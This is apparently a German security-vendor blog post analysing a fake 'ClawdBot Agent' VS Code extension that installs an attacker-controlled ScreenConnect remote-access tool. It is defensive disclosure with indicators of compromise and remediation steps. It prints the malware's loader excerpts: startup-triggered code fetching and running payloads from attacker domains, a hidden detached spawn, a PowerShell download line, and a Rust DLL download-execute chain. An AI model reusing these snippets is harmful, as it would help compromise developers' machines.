Aikido

Gefälschte Clawdbot VS Code Extension installiert ScreenConnect RAT

Charlie EriksenCharlie Eriksen
|
#
#

Am 27. Januar 2026 hat unser Malware-Erkennungssystem eine neue VS Code Extension namens „ClawdBot Agent“ markiert, die sofort Alarmglocken läuten ließ. Wir bestätigten, dass die Extension ein voll funktionsfähiger Trojaner ist: oberflächlich ein funktionierender KI-Coding-Assistent, während sie stillschweigend Malware auf Windows-Maschinen ablegt, sobald VS Code startet.

Der Haken ist: Das echte Clawdbot-Team hatte nie eine offizielle VS Code Extension veröffentlicht. Die Angreifer beanspruchten den Namen einfach zuerst. Wir meldeten dies sofort an Microsoft, die die Extension sehr schnell entfernten. Dieser Beitrag dokumentiert unsere Untersuchung der Extension.

Was ist Clawdbot?

Wenn Sie in letzter Zeit in der Nähe von AI X waren, haben Sie wahrscheinlich Clawdbot überall erwähnt gesehen. Es ist zu einem dieser viralen KI-Assistenten geworden, der zu einer viralen Sensation geworden ist. Natürlich macht dies ihn zu einem Hauptziel für Nachahmungen, und genau das ist hier passiert.

Die gefälschte Extension sieht unglaublich legitim aus. Professionelles Icon, polierte Benutzeroberfläche, Integration mit sieben verschiedenen KI-Anbietern (OpenAI, Anthropic, Google, Ollama, Groq, Mistral, OpenRouter). Sie funktioniert sogar wie beworben, was sie gerade so gefährlich macht.

Der bösartige Code

Schauen wir uns an, was tatsächlich passiert, wenn Sie diese Extension installieren.

Der package.json richtet einen sofortigen Trigger ein:

{
  "activationEvents": ["onStartupFinished"]
}

Das bedeutet, die Erweiterung wird bei jedem Start von VS Code automatisch ausgeführt. Keine Benutzerinteraktion erforderlich. Und hier wird es interessant. Die activate() Funktion ruft initCore() auf, bevor sie etwas anderes tut:

function activate(context) {
    initCore(context);
    // ... legitimate AI assistant code follows
}

Und initCore() ist, wo die Magie geschieht:

const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';

function fetchConfigAndRun() {
    http.get(CONFIG_URL, (res) => {
        let data = '';
        res.on('data', chunk => data += chunk);
        res.on('end', () => {
            try {
                const config = JSON.parse(data);
                if (config.enabled) {
                    downloadAndRun(config.exe, config.dll);
                }
            } catch (e) {}
        });
    }).on('error', () => {
        runFallbackDownload();
    });
}

Sehen Sie diesen leeren Catch-Block? Das ist beabsichtigt. Keine Fehlermeldungen, keine Warnungen, nichts. Wenn es fehlschlägt, versucht es stillschweigend den Fallback. Und wenn das fehlschlägt, merkt es niemand.

Die Payload-Bereitstellung

Hier wird es interessant. Wir haben die eigentliche config.json vom C2-Server abgerufen:

{
  "enabled": true,
  "files": [
    "Code.exe",
    "DWrite.dll",
    "ffmpeg.dll",
    "icudtl.dat",
    "libEGL.dll",
    "msvcp140.dll",
    "v8_context_snapshot.bin",
    "vcruntime140.dll",
    "vcruntime140_1.dll"
  ],
  "version": "1.0"
}

Auf den ersten Blick sieht dies wie eine trojanisierte Electron-App aus, die VS Code imitiert. Die Dateinamen passen dazu: Code.exe ist der ausführbare Dateiname von VS Code, v8_context_snapshot.bin ist ein V8-Engine-Snapshot, ffmpeg.dll und libEGL.dll sind Standard-Chromium-Abhängigkeiten.

Aber dann haben wir die Hashes durch VirusTotal laufen lassen. Und da wurde es interessant.

Code.exe wird von mehreren AV-Anbietern als ConnectWise ScreenConnect markiert:

Code.exe (SHA256: e20b920c7af988aa215c95bbaa365d005dd673544ab7e3577b60fecf11dcdea2)
- Kaspersky: Not-a-virus:RemoteAdmin.MSIL.ConnectWise.a
- K7AntiVirus: RemoteTool ( 005d90a81 )
- Trellix: RAdmin-ConnectWise.b

Zuerst dachten wir, dies seien gefälschte Metadaten. Aber die Sandbox-Verhaltensanalyse erzählt eine andere Geschichte. Bei der Ausführung, Code.exe:

  1. Installiert unter C:\Program Files (x86)\ScreenConnect Client (083e4d30c7ea44f7)\
  2. Stellt legitime ScreenConnect-Komponenten bereit: ScreenConnect.ClientService.exe, ScreenConnect.WindowsBackstageShell.exe, ScreenConnect.WindowsFileManager.exe
  3. Verbindet sich mit meeting.bulletmailer[].net:8041

Dies ist legitime ScreenConnect-Software. Aber sie wurde zweckentfremdet.

Die Angreifer richteten ihren eigenen ScreenConnect-Relay-Server ein, generierten einen vorkonfigurierten Client-Installer und verteilten ihn über die VS Code-Erweiterung. Wenn Opfer die Erweiterung installieren, erhalten sie einen voll funktionsfähigen ScreenConnect-Client, der sich sofort mit der Infrastruktur des Angreifers verbindet.

Hier ist die eingebettete Konfiguration, die wir extrahiert haben:

<ScreenConnect.ApplicationSettings>
    <setting name="ClientLaunchParametersConstraint">
        <value>?h=meeting.bulletmailer.net&amp;p=8041&amp;k=BgIAAACkAABSU0Ex...</value>
    </setting>
</ScreenConnect.ApplicationSettings>

Das h=meeting.bulletmailer[.]net&p=8041 ist der Relay-Server des Angreifers. Der k= Parameter ist der RSA öffentliche Schlüssel für ihren ScreenConnect-Server. Jede Maschine des Opfers stellt automatisch eine Remote-Access-Sitzung mit dieser Infrastruktur her.

Dies ist eine bekannte Technik namens „Bring Your Own ScreenConnect“ (oder manchmal „ScreenConnect as RMM abuse“). IT-Support-Tools wie ScreenConnect, AnyDesk und TeamViewer werden zunehmend auf diese Weise zweckentfremdet, da sie vertrauenswürdige Software sind, die von Sicherheitstools oft zugelassen wird.

Und DWrite.dll? Das bietet einen redundanten Payload-Delivery-Mechanismus:

DWrite.dll (SHA256: d1e0c26774cb8beabaf64f119652719f673fb530368d5b2166178191ad5fcbea)
- Cynet: Bösartig (Score: 100)
- Elastic: Bösartig (mittlere Konfidenz)
- Ikarus: Trojan.Win64.Injector

Dies ist ein DLL-Sideloading-Angriff als Backup. Das Rust-basierte DWrite.dll kann Payloads unabhängig von Dropbox abrufen, falls der primäre C2 ausfällt.

Der Staging-Code legt alles ab unter %TEMP%\Lightshot:

const INIT_DIR = path.join(process.env.TEMP, 'Lightshot');

Dann wird die Payload versteckt und abgelöst ausgeführt:

spawn(exePath, [], { 
    detached: true, 
    stdio: 'ignore', 
    windowsHide: true 
}).unref();

Sie haben also etwas, das wie Code.exe aussieht und auf Ihrem System läuft. Wenn Sie ein Entwickelnde sind, haben Sie wahrscheinlich sowieso VS Code laufen. Würden Sie es bemerken? Wahrscheinlich nicht. Und wenn Sie nachforschen würden, würden Sie sehen, dass es sich um legitime ScreenConnect-Software mit ordnungsgemäßen Signaturen handelt. Der bösartige Teil ist nicht das Binary selbst – sondern der Ort, mit dem sich dieses Binary verbindet.

Innerhalb von DWrite.dll: Ein Rust-basierter Loader

Wir haben DWrite.dll auseinandergenommen, und es wird noch interessanter.

Die DLL ist in Rust geschrieben (die Compiler-Pfade sind im Binary sichtbar) und exportiert DWriteCreateFactory, genau dieselbe Funktion, die die legitime Windows DirectWrite-Bibliothek exportiert. Wenn ScreenConnect diese Funktion lädt und aufruft, wird der bösartige Code sofort ausgelöst.

Hier ist die Download-Write-Execute-Kette:

// Open internet connection
InternetOpenA(...)

// Fetch payload from URL
InternetOpenUrlA(...)

// Create file in TEMP
CreateFileA(local_path, ...)

// Download loop
while (InternetReadFile(...) && bytes_read != 0) {
    WriteFile(local_file, buffer, bytes_read, ...);
}

// Execute the downloaded file
ShellExecuteA(NULL, "open", downloaded_file, ...);

Und von welcher URL ruft es ab?

https://www.dropbox[.]com/scl/fi/tmwi4j86op04r9qo2xdgh/zoomupdate.msi?rlkey=ymr9yn5p3q2w2l3uz9cg71dvm&st=q93av9p6&dl=1

Ein Dropbox-Link, getarnt als Zoom-Update. Denn warum nur eine legitime Anwendung imitieren, wenn man drei imitieren kann?

Der Clou ist: wir haben zoomupdate.msi von diesem Dropbox-Link heruntergeladen und den Hash überprüft. Es ist e20b920c7af988aa215c95bbaa365d005dd673544ab7e3577b60fecf11dcdea2.

Das ist derselbe Hash wie Code.exe. Es ist dasselbe bösartige MSI. Die DWrite.dll ist ein redundanter Übertragungsmechanismus. Selbst wenn die primäre C2-Infrastruktur stillgelegt wird, kann die bösartige DLL die gleiche Payload unabhängig von Dropbox abrufen. Doppelt hält besser.

Der Loader enthält außerdem:

  • Anti-Analyse-Timing-Prüfungen: GetSystemTimeAsFileTime und QueryPerformanceCounter, um Sandboxes zu erkennen
  • Dynamische API-Auflösung: LoadLibraryA und GetProcAddress um Imports vor statischer Analyse zu verbergen
  • Berechtigungsprüfungen: OpenProcessToken mit TOKEN_QUERY um die Umgebung zu sondieren

Redundanz, Redundanz, Redundanz

Die Angreifer wollten unbedingt verhindern, dass dies fehlschlägt. Sie haben drei Schichten der Payload-Bereitstellung integriert:

  1. Dynamische Konfiguration: Die Dateiliste abrufen von clawdbot.getintwopc[.]site/config.json
  2. JavaScript-Fallback: Fest kodierte URLs, falls der Konfigurationsserver nicht erreichbar ist
  3. Batch-Skript-Fallback: Eine komplett separate Domain unter darkgptprivate[.]com

Hier ist der JavaScript-Fallback, der in der Erweiterung versteckt ist:

function runFallbackDownload() {
    // Fallback URLs if config server is down
    const fallbackExe = 'http://clawdbot.getintwopc.site/dl/Lightshot.exe';
    const fallbackDll = 'http://clawdbot.getintwopc.site/dl/Lightshot.dll';
    downloadAndRun(fallbackExe, fallbackDll);
}

Und das Batch-Skript in scripts/run.bat bietet einen weiteren Pfad:

set "U=https://darkgptprivate.com/d111"
powershell -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; (New-Object Net.WebClient).DownloadFile('%U%/Lightshot.exe','%D%\Lightshot.exe')"

Fällt etwas Interessantes auf? Die fest kodierten Fallbacks verweisen immer noch auf Lightshot.exe und Lightshot.dll, während die Live- config.json auf das Electron-Bundle mit verweist Code.exe. Dies deutet darauf hin, dass die Angreifer ihre Payload wahrscheinlich im Laufe der Zeit weiterentwickelt haben, indem sie von einem einfachen, als Lightshot getarnten Dropper auf einen ausgefeilteren VS Code-Impersonator aufrüsteten, während der alte Fallback-Code beibehalten wurde.

Fällt die primäre C2 aus, haben sie ein Backup. Schlägt Node.js fehl, haben sie PowerShell. Wird die erste Domain abgeschaltet, steht eine zweite bereit. Diese Leute haben ihre Hausaufgaben gemacht.

Die Infrastruktur

Wir haben beide Domains zurückverfolgt:

clawdbot.getintwopc[.]site befindet sich hinter Cloudflare, was es schwieriger macht, den tatsächlichen Server zu finden. Zertifikat-Transparenz-Logs zeigen, dass die übergeordnete Domain getintwopc[.]site mindestens seit März 2025 aktiv ist.

darkgptprivate[.]com ist interessanter. Sie löst auf zu 178.16.54[.]253, gehostet von Omegatech LTD auf den Seychellen. Das Zertifikat wurde am 10. Januar 2026 ausgestellt, nur wenige Wochen bevor wir dieses Sample fanden. Die Domain verfügt auch über SPF-Einträge für E-Mail-Relay-Dienste, was darauf hindeutet, dass sie auch für Phishing verwendet werden könnte.

Offshore-Hosting auf den Seychellen mit kürzlich zugewiesenem IP-Bereich? Sehr verdächtig.

Was diesen Angriff effektiv macht

Dies ist kein Script-Kiddie, das obfuskierten Müll zusammenwirft. Die Angreifer haben mehrere Dinge verstanden:

  1. Marken-Impersonation funktioniert: Personen, die nach „Clawdbot VS Code“ suchen, werden dies zuerst finden
  2. Funktionale Malware vermeidet Misstrauen: Die KI-Funktionen funktionieren tatsächlich, sodass Nutzer keinen Grund zur Beschwerde haben
  3. VS Code-Erweiterungen sind vertrauenswürdig: Sie laufen mit vollem Dateisystem- und Netzwerkzugriff
  4. Start-Aktivierung ist mächtig: Nach der Installation sind keine Klicks erforderlich
  5. Mehrere Fallbacks sichern die Auslieferung: C2 fällt aus? Versuch Dropbox. Node.js schlägt fehl? Versuch PowerShell.
  6. Legitime RAT ist brillant: ScreenConnect ist eine vertrauenswürdige IT-Software, die von Sicherheitstools zugelassen wird
  7. Waffenisierte Konfiguration ist der Trick: Die Binärdatei ist sauber; nur das Ziel ist bösartig
  8. Prozess-Tarnung funktioniert: Ein Code.exe Prozess auf der Maschine einer Entwickelnden ruft keinerlei Misstrauen hervor
  9. Vierfache Imitation: Clawdbot (Erweiterung) → VS Code (Payload-Name) → Lightshot (Staging-Ordner) → Zoom (Dropbox-Payload-Name)

Die Schichtung hier ist beeindruckend. Ein gefälschter KI-Assistent installiert legitime Remote-Access-Software, die so konfiguriert ist, dass sie sich mit der Angreifer-Infrastruktur verbindet, mit einem Rust-basierten Backup-Loader, der dieselbe Payload von Dropbox als Zoom-Update getarnt abruft, alles in einem Ordner abgelegt, der nach einer Screenshot-Anwendung benannt ist. Jede Schicht erhöht die Verwirrung für Verteidiger.

Behebung & Erkennung

Wenn Sie die Erweiterung „ClawdBot Agent“ installiert haben, gehen Sie wie folgt vor:

  1. Deinstallieren Sie die Erweiterung sofort aus VS Code
  2. Überprüfen Sie die ScreenConnect-Installation unter C:\Program Files (x86)\ScreenConnect Client (083e4d30c7ea44f7)\ und entfernen Sie sie
  3. Überprüfen Sie die Windows-Dienste auf ScreenConnect Client (083e4d30c7ea44f7) und deinstallieren Sie ihn
  4. Prüfen %TEMP%\Lightshot nach Dateien und löschen Sie den gesamten Ordner
  5. Öffnen Sie den Task-Manager und suchen Sie nach Code.exe oder ScreenConnect-Prozessen, die aus temporären oder unerwarteten Verzeichnissen ausgeführt werden
  6. Blockieren meeting.bulletmailer.net und
  7. 179.43.176[.]32 in Ihrer Firewall
  8. Führen Sie einen vollständigen Antiviren-Scan durch
  9. Wenn Sie API-Schlüssel in die Erweiterung eingegeben haben, ändern Sie diese sofort (OpenAI, Anthropic, Google usw.)
  10. Überprüfen Sie geplante Aufgaben oder Start-Einträge, die die Payload neu starten könnten
  11. Überwachen Sie ausgehende Verbindungen zu Port 8041

Indikatoren für Kompromittierung

Netzwerk-IOCs:

  • meeting.bulletmailer[.]net:8041 (ScreenConnect-Relay – primäres C2)
  • 179.43.176[.]32 (ScreenConnect-Relay-IP)
  • clawdbot.getintwopc[.]site (C2-Domain der Erweiterung)
  • getintwopc[.]site (übergeordnete Domain)
  • darkgptprivate[.]com (sekundäre C2)
  • 178.16.54[.]253 (darkgptprivate Server)
  • https://www.dropbox[.]com/scl/fi/tmwi4j86op04r9qo2xdgh/zoomupdate.msi?rlkey=ymr9yn5p3q2w2l3uz9cg71dvm&st=q93av9p6&dl=1
  • (DWrite.dll Payload-Quelle)

Datei-IOCs:

Dropper (VS Code Extension):

  • extension.js SHA256: adbcdb613c04fd51936cb0863d2417604db0cd04792ab7cae02526d48944c77b
  • run.bat SHA256: 04ef48b104d6ebd05ad70f6685ade26c1905495456f52dfe0fb42f550bd43388

Payload (Bösartig):

  • Code.exe (präparierter ScreenConnect Installer): e20b920c7af988aa215c95bbaa365d005dd673544ab7e3577b60fecf11dcdea2
  • DWrite.dll (Rust-basierter Loader): d1e0c26774cb8beabaf64f119652719f673fb530368d5b2166178191ad5fcbea

4.7/5

Sichern Sie Ihre Software jetzt.

Kostenlos starten
Ohne Kreditkarte
Demo buchen
Ihre Daten werden nicht weitergegeben · Nur Lesezugriff · Keine Kreditkarte erforderlich

Werden Sie jetzt sicher.

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.